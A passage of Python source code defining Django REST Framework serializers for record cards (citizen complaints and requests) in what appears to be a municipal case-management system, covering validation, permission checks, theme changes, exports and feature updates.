multirecord_response_channel = None\n record_card_response_serializer = RecordCardResponseSerializer(\n data=recordcard_response, context=serializer_context,\n multirecord_response_channel=multirecord_response_channel)\n if record_card_response_serializer.is_valid(raise_exception=True):\n record_card_response_serializer.save()\n else:\n RecordCardResponse.objects.create(response_channel_id=ResponseChannel.NONE, record_card=record_card)\n\n def set_register_code(self, instance):\n # If register code from Ariadna has been validated, the Ariadna Record has to be created\n if \"register_code\" in self.initial_data:\n AriadnaRecord.objects.create(record_card_id=instance.pk, code=self.initial_data[\"register_code\"])\n self.ariadna.used = True\n self.ariadna.save()\n\n def multirecord_actions(self, validated_data):\n \"\"\"\n Perform multirecord actions, if needed\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n # Set MultiRecord flags\n record_card_from = validated_data.get(\"multirecord_from\")\n if record_card_from:\n validated_data[\"is_multirecord\"] = True\n record_card_from.is_multirecord = True\n record_card_from.save()\n # A multirecord card will have the same input channel, applicant_type and support that its parent record\n validated_data[\"input_channel\"] = record_card_from.input_channel\n validated_data[\"support\"] = record_card_from.support\n validated_data[\"applicant_type\"] = record_card_from.applicant_type\n if validated_data.get(\"multirecord_copy_responsechannel\"):\n response_channel_id = ResponseChannel.NONE\n if hasattr(record_card_from, \"recordcardresponse\"):\n response_channel_id = record_card_from.recordcardresponse.response_channel_id\n self.initial_data[\"recordcardresponse\"][\"response_channel\"] = response_channel_id\n\n # multirecord_copy_responsechannel is not a RecordCard model field, so it has to be deleted from validated_data\n validated_data.pop(\"multirecord_copy_responsechannel\", None)\n\n\nclass RecordCardFeaturesDetailSerializer(serializers.ModelSerializer):\n feature = FeatureSerializer()\n order = serializers.IntegerField()\n\n class Meta:\n model = RecordCardFeatures\n fields = (\"feature\", \"value\", \"is_theme_feature\", \"order\")\n read_only_fields = (\"is_theme_feature\",)\n\n\nclass RecordCardSpecialFeaturesDetailSerializer(serializers.ModelSerializer):\n feature = FeatureSerializer()\n order = serializers.IntegerField()\n\n class Meta:\n model = RecordCardSpecialFeatures\n fields = (\"feature\", \"value\", \"is_theme_feature\", \"order\")\n read_only_fields = (\"is_theme_feature\",)\n\n\nclass WorkflowCommentSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkflowComment\n fields = (\"task\", \"comment\")\n\n\nclass UnirecordListSerializer(RecordCardSerializer):\n \"\"\"\n Returns the important information of a Record for writting its answer.\n This serializer is used for returning the set of records unified under a same process.\n \"\"\"\n response = serializers.SerializerMethodField()\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"normalized_record_id\", \"recordcardresponse\", \"request\", \"group_can_answer\", \"response\",\n \"actions\", \"created_at\", \"description\")\n\n def get_response(self, obj):\n res = obj.recordcardtextresponse_set.filter(enabled=True).order_by(\"created_at\").first()\n return RecordCardTextResponseSerializer(res).data\n\n\nclass RecordCardWorkflowSerializer(serializers.ModelSerializer):\n \"\"\"\n Workflow information with the different answers given for the records. In addition to the answer info,\n the record card response configuration will be returned as well. This way, the different clients in charge of\n writing answers can present the interface and group the different answers.\n \"\"\"\n comments = WorkflowCommentSerializer(source=\"workflowcomment_set\", many=True)\n records = serializers.SerializerMethodField()\n\n class Meta:\n model = Workflow\n fields = [\"id\", \"comments\", \"main_record_card_id\", \"records\"]\n\n def get_records(self, obj):\n qs = obj.recordcard_set.select_related(\"recordcardresponse\", \"request\", \"request__applicant\")\n return UnirecordListSerializer(qs, many=True, context=self.context).data\n\n\nclass ExternalIDSerializer(serializers.ModelSerializer):\n service_name = serializers.SerializerMethodField()\n\n class Meta:\n model = ExternalRecordId\n fields = [\"external_code\", \"service_name\"]\n\n def get_service_name(self, obj):\n return obj.service.name\n\n\nclass RecordCardElementDetailSerializer(ElementDetailDescriptionSerializer):\n class Meta(ElementDetailDescriptionSerializer.Meta):\n fields = (\"id\", \"description\", \"element\", \"external_protocol_id\",\n \"allow_multiderivation_on_reassignment\")\n\n\nclass RecordCardDetailSerializer(RecordCardSerializer):\n extra_actions = False\n post_create_extra_actions = False\n\n features = serializers.SerializerMethodField()\n special_features = serializers.SerializerMethodField()\n\n element_detail = RecordCardElementDetailSerializer(read_only=True)\n input_channel = InputChannelShortSerializer(read_only=True)\n support = SupportShortSerializer(read_only=True)\n workflow = RecordCardWorkflowSerializer(read_only=True)\n recordplan = serializers.SerializerMethodField()\n recordcardresolution = serializers.SerializerMethodField()\n responsible_profile = GroupShortSerializer()\n external_ids = ExternalIDSerializer(many=True, read_only=True)\n registers = RegisterSerializer(many=True, read_only=True)\n claims_links = serializers.SerializerMethodField()\n creation_group = GroupShortSerializer()\n record_type = ShortRecordTypeSerializer()\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"description\", \"responsible_profile\", \"process\",\n \"mayorship\", \"normalized_record_id\", \"alarm\", \"auxiliary\", \"closing_date\",\n \"ans_limit_date\", \"urgent\", \"communication_media_detail\", \"communication_media_date\",\n \"record_parent_claimed\", \"reassignment_not_allowed\", \"page_origin\", \"email_external_derivation\",\n \"user_displayed\", \"historicized\", \"allow_multiderivation\", \"start_date_process\", \"appointment_time\",\n \"similar_process\", \"response_state\", \"notify_quality\", \"multi_complaint\", \"lopd\", \"citizen_alarm\",\n \"ci_date\", \"support_numbers\", \"element_detail\", \"element_detail_id\", \"request_id\", \"ubication\",\n \"record_state\", \"record_state_id\", \"record_type\", \"record_type_id\", \"applicant_type\", \"request\",\n \"communication_media\", \"support\", \"support_id\", \"input_channel\", \"input_channel_id\", \"features\",\n \"special_features\", \"actions\", \"alarms\", \"ideal_path\", \"current_step\", \"next_step_code\", \"comments\",\n \"recordcardresponse\", \"recordplan\", \"recordcardresolution\", \"workflow\", \"blocked\", \"multirecord_from\",\n \"is_multirecord\", \"external_ids\", \"files\", \"registers\", \"full_detail\", \"claimed_from\",\n \"claims_number\", \"claims_links\", \"group_can_answer\", \"organization\", \"creation_group\")\n read_only_fields = fields\n\n def __init__(self, *args, **kwargs):\n self.detail_features_order = {}\n super().__init__(*args, **kwargs)\n if self.instance:\n el_features = ElementDetailFeature.objects.filter(\n enabled=True, element_detail_id=self.instance.element_detail_id).values(\"feature_id\", \"order\")\n self.detail_features_order = {el_feature[\"feature_id\"]: el_feature[\"order\"] for el_feature in el_features}\n\n @swagger_serializer_method(serializer_or_field=serializers.ListField)\n def get_features(self, obj):\n filters_kwargs = {\"enabled\": True, \"feature__deleted__isnull\": True}\n record_features = obj.recordcardfeatures_set.filter(**filters_kwargs).select_related(\"feature\")\n for record_feature in record_features:\n record_feature.order = self.detail_features_order.get(record_feature.feature_id, 100)\n return [RecordCardFeaturesDetailSerializer(record_card_feature).data for record_card_feature in record_features]\n\n @swagger_serializer_method(serializer_or_field=serializers.ListField)\n def get_special_features(self, obj):\n filters_kwargs = {\"enabled\": True, \"feature__deleted__isnull\": True}\n record_features = obj.recordcardspecialfeatures_set.filter(**filters_kwargs).select_related(\"feature\")\n for record_feature in record_features:\n record_feature.order = self.detail_features_order.get(record_feature.feature_id, 100)\n return [RecordCardSpecialFeaturesDetailSerializer(record_card_feature).data for record_card_feature in\n record_features]\n\n def get_recordcardresolution(self, obj):\n try:\n return WorkflowResolutionSerializer(instance=WorkflowResolution.objects.get(workflow=obj.workflow)).data\n except WorkflowResolution.DoesNotExist:\n return\n\n def get_recordplan(self, obj):\n try:\n return WorkflowPlanReadSerializer(instance=WorkflowPlan.objects.get(workflow=obj.workflow)).data\n except WorkflowPlan.DoesNotExist:\n return\n\n def get_claims_links(self, obj):\n claims = []\n if not obj.claims_number:\n return claims\n\n base_normalized_record_id = obj.normalized_record_id.split(\"-\")[0]\n for claim_number in range(obj.claims_number):\n if not claim_number:\n normalized_record_id = base_normalized_record_id\n elif claim_number < 10:\n normalized_record_id = \"{}-0{}\".format(base_normalized_record_id, claim_number + 1)\n else:\n normalized_record_id = \"{}-{}\".format(base_normalized_record_id, claim_number + 1)\n\n claims.append({\n \"normalized_record_id\": normalized_record_id,\n \"url\": reverse(\"private_api:record_cards:recordcard-detail\", kwargs={\"reference\": normalized_record_id})\n })\n return claims\n\n\nclass RecordCardListSerializer(RecordCardSerializer):\n extra_actions = False\n post_create_extra_actions = False\n responsible_profile = GroupShortSerializer()\n element_detail = ElementDetailDescriptionSerializer(read_only=True)\n ubication = UbicationShortSerializer()\n\n support = SupportShortSerializer(read_only=True)\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"description\", \"responsible_profile\", \"process\",\n \"mayorship\", \"normalized_record_id\", \"alarm\", \"ans_limit_date\", \"urgent\",\n \"element_detail\", \"record_state\", \"actions\", \"alarms\", \"full_detail\", \"ubication\", \"user_displayed\",\n \"record_type\")\n read_only_fields = fields\n\n @swagger_serializer_method(serializer_or_field=serializers.DictField)\n def get_actions(self, obj):\n request = self.context.get(\"request\")\n if request:\n return RecordActions(obj, request.user, detail_mode=False).actions()\n return {}\n\n\nclass UbicationRegularSerializer(serializers.Serializer):\n street = serializers.CharField()\n street2 = serializers.CharField()\n district = serializers.IntegerField(source=\"district_id\")\n\n\nclass RecordCardBaseListRegularSerializer(GetGroupFromRequestMixin, serializers.Serializer):\n id = serializers.IntegerField()\n user_id = serializers.CharField()\n created_at = serializers.DateTimeField()\n updated_at = serializers.DateTimeField()\n responsible_profile = ResponsibleProfileRegularSerializer()\n process = serializers.CharField(source=\"process_id\")\n mayorship = serializers.BooleanField()\n normalized_record_id = serializers.CharField()\n alarm = serializers.BooleanField()\n ans_limit_date = serializers.DateTimeField()\n urgent = serializers.BooleanField()\n element_detail = ElementDetailRegularSerializer()\n record_state = RecordStateRegularSerializer()\n actions = serializers.SerializerMethodField()\n alarms = serializers.SerializerMethodField()\n full_detail = serializers.SerializerMethodField()\n ubication = UbicationRegularSerializer()\n user_displayed = serializers.CharField()\n record_type = RecordTypeRegularSerializer()\n\n @swagger_serializer_method(serializer_or_field=serializers.BooleanField)\n def get_full_detail(self, obj):\n return False\n\n @swagger_serializer_method(serializer_or_field=serializers.DictField)\n def get_actions(self, obj):\n request = self.context.get(\"request\")\n if request:\n return RecordActions(obj, request.user, detail_mode=False).actions()\n return {}\n\n @swagger_serializer_method(serializer_or_field=serializers.DictField)\n def get_alarms(self, obj):\n request = self.context.get(\"request\")\n group = self.get_group_from_request(request)\n return RecordCardAlarms(obj, group).alarms\n\n\nclass RecordCardListRegularSerializer(RecordCardBaseListRegularSerializer):\n description = serializers.CharField()\n\n\nclass RecordCardUpdateSerializer(RecordCardBaseSerializer, SerializerUpdateExtraMixin, GetGroupFromRequestMixin,\n serializers.ModelSerializer):\n post_update_extra_actions = True\n\n admin_close_update_fields = [\"recordcardresponse\"]\n\n class Meta:\n model = RecordCard\n fields = (\"description\", \"mayorship\", \"features\", \"special_features\", \"ubication\", \"recordcardresponse\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.old_ubication = None\n self.fields[\"description\"].required = False\n self.fields[\"recordcardresponse\"].required = False\n if isinstance(self.instance, RecordCard):\n self.initial_values = RecordDictUpdateFields(self.instance).record_update_fields()\n\n def run_validation(self, data=empty):\n self.check_fields_changed()\n validated_data = super().run_validation(data)\n self.check_recordcardresponse(validated_data)\n\n if self.validation_errors:\n raise ValidationError(self.validation_errors, code=\"invalid\")\n\n self.old_ubication = getattr(self.instance, 'ubication')\n\n return validated_data\n\n def check_fields_changed(self):\n \"\"\"\n Check if fields can be updated depending on record state and user permissions.\n If record state is cancelled or closed, only an admin can change the recordcardresponse,\n\n :return:\n \"\"\"\n if self.instance.record_state_id in RecordState.CLOSED_STATES:\n permission_errors = {}\n has_admin_permission = self.permission_checker.has_permission(ADMIN)\n for field_key in self.fields:\n if field_key in self.initial_data:\n if field_key not in self.admin_close_update_fields:\n permission_errors[field_key] = _(\"{} can not be changed because record card is closed or \"\n \"cancelled\".format(field_key))\n elif not has_admin_permission:\n permission_errors[field_key] = _(\n \"{} can not be changed because user has not admin permission\".format(field_key))\n if permission_errors:\n raise ValidationError(permission_errors)\n\n def check_recordcardresponse(self, validated_data):\n \"\"\"\n Check that the user has permissions to change recordcard response channel\n\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n has_permission = self.permission_checker.has_permission(RESP_CHANNEL_UPDATE)\n update_recordcardresponse = validated_data.get(\"recordcardresponse\")\n if not has_permission and update_recordcardresponse:\n current_response_channel = self.instance.recordcardresponse.response_channel\n update_response_channel = update_recordcardresponse[\"response_channel\"]\n if \"recordcardresponse\" in validated_data and current_response_channel != update_response_channel:\n self.validation_errors[\"recordcardresponse\"] = _(\"User's group is not allowed to change recordcard \"\n \"response channel\")\n\n def do_extra_actions_on_update(self, validated_data):\n \"\"\"\n Perform extra actions on update\n\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n\n self.set_ubication(validated_data)\n self.set_features(validated_data)\n self.set_special_features(validated_data)\n self.set_recordcard_response(validated_data)\n\n def set_ubication(self, validated_data):\n self.old_ubication = getattr(self.instance, 'ubication')\n return super().set_ubication(validated_data)\n\n def set_recordcard_response(self, validated_data):\n \"\"\"\n Update record card response\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n\n recordcard_response = self.initial_data.get(\"recordcardresponse\")\n if recordcard_response:\n recordcard_response.update({\"record_card\": self.instance.pk})\n\n if hasattr(self.instance, \"recordcardresponse\"):\n record_card_response_serializer = RecordCardResponseSerializer(\n instance=self.instance.recordcardresponse, data=recordcard_response,\n context={\"record_card_check\": True})\n else:\n record_card_response_serializer = RecordCardResponseSerializer(data=recordcard_response,\n context={\"record_card_check\": True})\n if record_card_response_serializer.is_valid(raise_exception=True):\n validated_data[\"recordcardresponse\"] = record_card_response_serializer.save()\n\n def do_post_update_extra_actions(self, previous_instance, validated_data):\n \"\"\"\n Perform extra actions on create after the instance creation\n :param previous_instance: Copy of the instance before the update operation\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n response_channel_id = self.instance.recordcardresponse.get_response_channel()\n if self.instance.pending_answer_has_toclose_automatically(response_channel_id):\n self.instance.pending_answer_change_state(self.instance.record_state_id,\n self.context[\"request\"].user,\n self.context[\"request\"].user.imi_data.get('dptcuser'),\n automatic=True)\n\n if self.ubication_has_change():\n self.instance.derivate(user_id=get_user_traceability_id(self.context[\"request\"].user))\n updated_fields = RecordDictUpdateFields(self.instance).record_update_fields()\n update_comment = UpdateComment(self.initial_values, updated_fields).get_update_comment()\n if update_comment:\n group = self.get_group_from_request(self.context[\"request\"])\n Comment.objects.create(record_card=self.instance, comment=update_comment, group=group,\n reason_id=Reason.RECORDCARD_UPDATED,\n user_id=get_user_traceability_id(self.context[\"request\"].user))\n\n def ubication_has_change(self):\n if 'ubication' not in self.data or not self.old_ubication:\n return False\n new = self.validated_data.get('ubication')\n if new != self.old_ubication and (not self.old_ubication or not new):\n return True\n elif not self.old_ubication:\n return False\n new_ubication = Ubication(**new)\n new_ubication.adjust_coordinates()\n return self.old_ubication.is_different_location(new_ubication)\n\n @staticmethod\n def get_features_serializer_class():\n return ManyToManyFeaturesSerializerMany\n\n\nclass RecordCardExportSerializer(UbicationAttributeMixin, serializers.Serializer):\n identificador = serializers.CharField(source=\"normalized_record_id\", label=_('Record'))\n tipusfitxa = serializers.CharField(source=\"record_type.description\", label=_('Record type'))\n data_alta = serializers.SerializerMethodField(label=_('Creation date'))\n data_tancament = serializers.SerializerMethodField(label=_('Closing date'))\n dies_oberta = serializers.SerializerMethodField(label=_('Days opened'))\n antiguitat = serializers.SerializerMethodField(label=_('Days from creation'))\n tipus_solicitant = serializers.SerializerMethodField(label='Tipus_Sol·licitant')\n solicitant = serializers.SerializerMethodField(label='Sol·licitant')\n districte = serializers.SerializerMethodField(label=_('District'))\n barri = serializers.SerializerMethodField(label=_('Neighborhood'))\n tipus_via = serializers.SerializerMethodField(label=_('Street type'))\n carrer = serializers.SerializerMethodField(label=_('Street'))\n numero = serializers.SerializerMethodField(label=_('Number'))\n area = serializers.CharField(source=\"element_detail.element.area.description\", label=_('Area'))\n element = serializers.CharField(source=\"element_detail.element.description\", label=_('Element'))\n detall = serializers.CharField(source=\"element_detail.description\", label=_('Element Detail'))\n carac_especial_desc = serializers.SerializerMethodField(label=_('Special attributes (desc)'))\n carac_especial = serializers.SerializerMethodField(label=_('Special attibuttes'))\n descripcio = serializers.CharField(source=\"description\", label=_(\"Description\"))\n estat = serializers.CharField(source=\"record_state.description\", label=_('State'))\n perfil_responsable = serializers.CharField(source=\"responsible_profile.description\", label=_('Responsible profile'))\n tipus_resposta = serializers.SerializerMethodField(label=_('Answer type'))\n resposta_feta = serializers.SerializerMethodField(label=_('Answer'))\n comentari_qualitat = serializers.SerializerMethodField(label=_('Quality comment'))\n\n def get_data_alta(self, record):\n return record.created_at.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n def get_data_tancament(self, record):\n return record.closing_date.strftime(\"%d/%m/%Y %H:%M:%S\") if record.closing_date else \"\"\n\n def get_districte(self, record):\n return record.ubication.district.name if record.ubication and record.ubication.district else \"\"\n\n def get_barri(self, record):\n return self.get_ubication_attribute(record, \"neighborhood\")\n\n def get_tipus_via(self, record):\n return self.get_ubication_attribute(record, \"via_type\")\n\n def get_carrer(self, record):\n return self.get_ubication_attribute(record, \"street\")\n\n def get_numero(self, record):\n return self.get_ubication_attribute(record, \"street2\")\n\n def get_solicitant(self, record):\n if record.request.applicant:\n if record.request.applicant.citizen:\n return ' '.join([\n record.request.applicant.citizen.name,\n record.request.applicant.citizen.first_surname,\n record.request.applicant.citizen.second_surname,\n ])\n else:\n return record.request.applicant.social_entity.social_reason\n return \"\"\n\n def get_tipus_solicitant(self, record):\n return record.applicant_type.description\n\n def get_dies_oberta(self, record):\n if record.closing_date:\n return max((record.closing_date - record.created_at).days, 1)\n return ''\n\n def get_antiguitat(self, record):\n return max((timezone.now() - record.created_at).days, 1)\n\n def get_resposta_feta(self, record):\n text_responses = record.recordcardtextresponse_set.all()\n if text_responses:\n return BeautifulSoup(text_responses[0].response, \"html.parser\").get_text()\n return \"\"\n\n def get_special_feature(self, record):\n specials_features = record.recordcardspecialfeatures_set.filter(is_theme_feature=True)\n return specials_features[0] if specials_features else \"\"\n\n def get_carac_especial_desc(self, record):\n special_feature = self.get_special_feature(record)\n return special_feature.feature.description if special_feature else \"\"\n\n def get_carac_especial(self, record):\n special_feature = self.get_special_feature(record)\n return special_feature.label_value if special_feature else \"\"\n\n def get_tipus_resposta(self, record):\n if hasattr(record, \"recordcardresponse\"):\n return record.recordcardresponse.response_channel.get_id_display()\n return \"\"\n\n def get_comentari_qualitat(self, record):\n return \"\"\n\n\nclass RecordCardThemeChangeSerializer(SerializerUpdateExtraMixin, GetGroupFromRequestMixin, RecordCardBaseSerializer,\n RecordFeaturesBaseSerializer, serializers.ModelSerializer):\n post_update_extra_actions = True\n\n element_detail_id = serializers.PrimaryKeyRelatedField(\n source=\"element_detail\",\n queryset=ElementDetail.objects.filter(**ElementDetail.ENABLED_ELEMENTDETAIL_FILTERS),\n error_messages={\"does_not_exist\": _(\"The selected element_detail does not exist\")})\n perform_derivation = serializers.BooleanField(required=False, default=True)\n\n class Meta:\n model = RecordCard\n fields = (\"element_detail_id\", \"features\", \"special_features\", \"perform_derivation\", \"ubication\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def run_validation(self, data=empty):\n try:\n self.fields['ubication'].context.update({\n 'element_detail': ElementDetail.objects.get(pk=data.get('element_detail_id')),\n })\n except ElementDetail.DoesNotExist:\n pass\n validated_data = super().run_validation(data)\n self.check_validated_record()\n self.check_element_detail(validated_data)\n\n if self.validation_errors:\n raise ValidationError(self.validation_errors, code=\"invalid\")\n return validated_data\n\n def check_validated_record(self):\n \"\"\"\n Only the element detail of record card on THEME_CHANGE_STATES can be changed\n\n :return:\n \"\"\"\n THEME_CHANGE_STATES = [RecordState.CLOSED, RecordState.PENDING_VALIDATE, RecordState.EXTERNAL_RETURNED,\n RecordState.IN_RESOLUTION]\n if self.instance.record_state_id not in THEME_CHANGE_STATES:\n self.validation_errors[\"element_detail_id\"] = _(\"Element Detail can not be changed because RecordCard \"\n \"has been validated\")\n\n def check_element_detail(self, validated_data):\n \"\"\"\n Check that:\n - element detail has been changed\n - the selected element detail is one of the change possibilites\n - if a derivation will cause a derivation outside group\"s ambit\n - if user has not RECARD_THEME_CHANGE_AREA permission, element detail change does not go outside area\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n new_element_detail = validated_data.get(\"element_detail\")\n request = self.context[\"request\"]\n group = self.get_group_from_request(request)\n\n if not self.instance.element_detail != new_element_detail:\n self.validation_errors[\"element_detail_id\"] = _(\"Element Detail has not been changed\")\n\n possible_themes_change = PossibleThemeChange(self.instance, group).themes_to_change()\n if new_element_detail not in possible_themes_change:\n self.validation_errors[\"element_detail_id\"] = _(\"Element Detail is not one of the change possibilities\")\n\n if not IrisPermissionChecker.get_for_user(request.user).has_permission(RECARD_THEME_CHANGE_AREA):\n if self.instance.element_detail.element.area_id != new_element_detail.element.area_id:\n self.validation_errors[\"element_detail_id\"] = _(\n \"Element Detail can not been changed because user has not permission to change elementdetail to \"\n \"a different area\")\n\n def do_extra_actions_on_update(self, validated_data):\n \"\"\"\n Perform extra actions on update\n\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n self.set_ubication(validated_data)\n self.set_features(validated_data, self.instance)\n self.set_special_features(validated_data, self.instance)\n self.set_process_autovalidated_themes(validated_data)\n\n def set_process_autovalidated_themes(self, validated_data):\n \"\"\"\n Perform extra actions on update\n\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n new_element_detail = validated_data[\"element_detail\"]\n if self.instance.record_can_be_autovalidated(new_element_detail=new_element_detail):\n validated_data[\"process_id\"] = new_element_detail.process_id\n if self.instance.record_state_id == RecordState.EXTERNAL_RETURNED:\n validated_data[\"workflow\"] = None\n validated_data[\"record_state_id\"] = RecordState.PENDING_VALIDATE\n\n def do_post_update_extra_actions(self, previous_instance, validated_data):\n theme_changed = self.instance.element_detail != previous_instance.element_detail\n if theme_changed:\n self.instance.update_ans_limits()\n self.instance.update_detail_info()\n request = self.context[\"request\"]\n\n if self.instance.workflow:\n self.instance.workflow.element_detail_modified = True\n self.instance.workflow.save()\n group = self.get_group_from_request(request)\n message = _(\"Theme changed from '{}' to '{}'.\").format(\n previous_instance.element_detail.description, validated_data.get(\"element_detail\").description)\n reason_theme_change_id = int(Parameter.get_parameter_by_key(\"CANVI_DETALL_MOTIU\", 19))\n Comment.objects.create(record_card=self.instance, comment=message, group=group,\n reason_id=reason_theme_change_id,\n user_id=get_user_traceability_id(self.context[\"request\"].user))\n\n if self.instance.record_can_be_autovalidated():\n user = request.user if request else None\n self.instance.autovalidate_record(request.user.imi_data.get('dptcuser', ''), user,\n perform_derivation=validated_data.get(\"perform_derivation\"))\n else:\n if validated_data.get(\"perform_derivation\"):\n self.instance.derivate(get_user_traceability_id(self.context[\"request\"].user))\n\n @staticmethod\n def get_features_serializer_class():\n \"\"\"\n :return: Features serializer class\n \"\"\"\n return ManyToManyFeaturesSerializerMany\n\n\nclass MinimalRequestSerializer(serializers.ModelSerializer):\n class Meta:\n model = Request\n fields = (\"applicant_type\",)\n read_only_fields = fields\n\n\nclass RecordCardRestrictedSerializer(RecordCardDetailSerializer):\n registers = RegisterSerializer(many=True, read_only=True)\n responsible_profile = GroupShortSerializer()\n\n full_detail = serializers.SerializerMethodField(default=False)\n\n @swagger_serializer_method(serializer_or_field=serializers.BooleanField)\n def get_full_detail(self, obj):\n return False\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"normalized_record_id\", \"record_type\", \"input_channel\",\n \"element_detail\", \"record_state\", \"responsible_profile\", \"support\", \"registers\", \"full_detail\")\n read_only_fields = fields\n\n\nclass RecordCardRestrictedListSerializer(RecordCardRestrictedSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"normalized_record_id\", \"record_type\", \"input_channel\",\n \"element_detail\", \"record_state\", \"responsible_profile\", \"support\", \"description\",\n \"full_detail\")\n read_only_fields = fields\n\n\nclass ClaimShortSerializer(RecordCardSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"normalized_record_id\")\n read_only_fields = fields\n\n\nclass ClaimDescriptionSerializer(serializers.Serializer):\n description = serializers.CharField()\n email = serializers.CharField(default=None)\n\n\nclass RecordCardApplicantListSerializer(serializers.ModelSerializer):\n element_detail = serializers.SerializerMethodField()\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"created_at\", \"normalized_record_id\", \"element_detail\", \"description\")\n read_only_fields = fields\n\n def get_element_detail(self, obj):\n return obj.element_detail.description\n\n\nclass ManyToManyFeaturesSerializerMany(GetGroupFromRequestMixin, ManyToManyExtendedSerializer):\n\n def disable_registers(self, active_registers, validated_data):\n \"\"\"\n Disable features that are not send to the api, taking in account that if the theme has changed\n the previos features must not be disabled--\n :param active_registers: Current active to_registers\n :param validated_data: Validated data send to the api\n :return:\n \"\"\"\n theme_changed = self.parent.instance.element_detail != self.parent.validated_data.get(\"element_detail\")\n element_detail = self.parent.validated_data.get(\"element_detail\")\n if element_detail:\n detail_features = element_detail.feature_configs.filter(\n enabled=True, feature__deleted__isnull=True).values_list(\"feature_id\", flat=True)\n else:\n detail_features = []\n\n validated_features = {item[self.to].pk: item for item in validated_data}\n if theme_changed and self.parent.validated_data.get(\"element_detail\"):\n self._check_theme_features_after_change(detail_features, active_registers, validated_features)\n else:\n self._check_theme_features(active_registers, validated_features)\n\n def _check_theme_features(self, active_registers, validated_features):\n disable_ids = []\n for active_register in active_registers:\n if active_register[\"is_theme_feature\"]:\n if active_register[self.to] not in validated_features or self.change_extra_values(\n active_register, validated_features[active_register[self.to]]\n ):\n disable_ids.append(active_register[\"id\"])\n self._do_updates(disable_ids, themes_features=None, no_themes_features=None, unvisible_features=None)\n\n def _check_theme_features_after_change(self, detail_features, active_registers, validated_features):\n no_themes_features = []\n themes_features = []\n unvisible_features = []\n disable_ids = []\n for active_register in active_registers:\n if active_register[self.to] not in detail_features:\n # If theme has changed and the feature is not from this theme,\n # we have to register is_theme_feature as False\n no_themes_features.append(active_register[\"id\"])\n unvisible_features.append({\"description\": active_register[\"feature__description\"],\n \"value_type\": active_register[\"feature__values_type\"],\n \"value\": active_register[\"value\"]})\n else:\n themes_features.append(active_register[\"id\"])\n if active_register[self.to] not in validated_features or \\\n self.change_extra_values(active_register, validated_features[active_register[self.to]]):\n disable_ids.append(active_register[\"id\"])\n self._do_updates(disable_ids, themes_features, no_themes_features, unvisible_features)\n\n def _do_updates(self, disable_ids, themes_features, no_themes_features, unvisible_features):\n if disable_ids:\n self.model.objects.filter(id__in=disable_ids).update(enabled=False)\n if themes_features:\n self.model.objects.filter(id__in=themes_features).update(is_theme_feature=True)\n if no_themes_features:\n self.model.objects.filter(id__in=no_themes_features).update(is_theme_feature=False)\n self.set_features_novisible_comment(unvisible_features)\n\n def set_features_novisible_comment(self, unvisible_features):\n \"\"\"\n Create the traceability comment for unvisible features\n :param unvisible_features: List of features that are set to invisible for the new theme\n :return:\n \"\"\"\n features_changed = \"\"\n for feature in unvisible_features:\n features_changed += \"{} = {}, \".format(feature[\"description\"], self.get_feature_value(feature))\n group = self.get_group_from_request(self.context[\"request\"])\n if unvisible_features:\n message = _(\"Features {} will not be taken into account\").format(features_changed)\n Comment.objects.create(record_card=self.parent.instance, comment=message, group=group,\n reason_id=Reason.FEATURES_THEME_NO_VISIBLES,\n user_id=get_user_traceability_id(self.context[\"request\"].user))\n\n @staticmethod\n def get_feature_value(feature_dict):\n if feature_dict.get(\"value_type\"):\n value_pk = feature_dict.get(\"value\")\n try:\n return Values.objects.get(pk=int(value_pk)).description if value_pk else \"\"\n except Values.DoesNotExist:\n return \"\"\n else:\n return feature_dict.get(\"value\")\n\n\nclass LocationSerializer(UbicationSerializer):\n class Meta(UbicationSerializer.Meta):\n fields = (\"xetrs89a\", \"yetrs89a\")\n\n\nclass RecordUbicationListSerializer(RecordCardListSerializer):\n ubication = LocationSerializer()\n\n class Meta(RecordCardListSerializer.Meta):\n fields = ('id', 'normalized_record_id', 'ubication', 'record_type_id', 'record_state')\n\n\nclass RecordCardShortListSerializer(RecordCardListSerializer):\n applicant_document = serializers.SerializerMethodField()\n short_address = serializers.SerializerMethodField()\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"description\", \"normalized_record_id\", \"applicant_document\", \"short_address\")\n read_only_fields = fields\n\n def get_applicant_document(self, obj):\n if obj.request and not obj.request.applicant:\n return\n if obj.request and obj.request.applicant.citizen:\n return obj.request.applicant.citizen.dni\n elif obj.request and obj.request.applicant.social_entity:\n return obj.request.applicant.social_entity.cif\n return\n\n def get_short_address(self, obj):\n if obj.ubication:\n return obj.ubication.short_address\n return\n\n\nclass RecordCardCodeSerializer(serializers.ModelSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"description\", \"normalized_record_id\")\n read_only_fields = fields\n\n\nclass RecordCardShortNotificationsSerializer(RecordCardSerializer):\n class Meta:\n model = RecordCard\n fields = (\"id\", \"description\", \"normalized_record_id\")\n read_only_fields = fields\n\n\nclass RecordCardMultiRecordstListSerializer(serializers.ModelSerializer):\n element_detail = ElementDetailShortSerializer(read_only=True)\n record_state = RecordStateSerializer(read_only=True)\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"normalized_record_id\", \"multirecord_from\", \"created_at\", \"element_detail\", \"record_state\",\n \"description\")\n read_only_fields = fields\n\n\nclass 